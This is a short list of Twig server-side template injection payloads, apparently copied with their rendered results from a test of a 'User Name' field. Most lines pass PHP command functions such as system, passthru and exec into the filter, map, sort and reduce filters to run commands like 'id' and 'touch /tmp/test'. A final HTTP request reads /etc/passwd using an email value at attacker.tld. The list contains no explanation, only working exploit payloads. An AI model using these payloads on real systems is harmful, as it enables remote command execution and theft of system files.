User Name
['id']|filter('system')|join
["id"]
['echo']|filter('passthru')|join
["echo"]
['echo']|filter('popen')|join
["echo"]
['echo']|filter('exec')|join
["echo"]
['id']|filter('SysteM')|join
["id"]
['touch+/tmp/test+']|filter('system')|join(',')
["touch+\/tmp\/test+"]
[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')
[34,36,38,40,42]
app.request.server.all|join(',')
self
[0]|reduce('system','echo')
0
[1, 2, 3]|reduce((carry, v) => carry + v)
1, 2, 3
['echo']|map('system')|join
echo
{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')
Smith, Dupond
['echo',1]|sort('system')|join
["echo",1]
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email=""@attacker.tld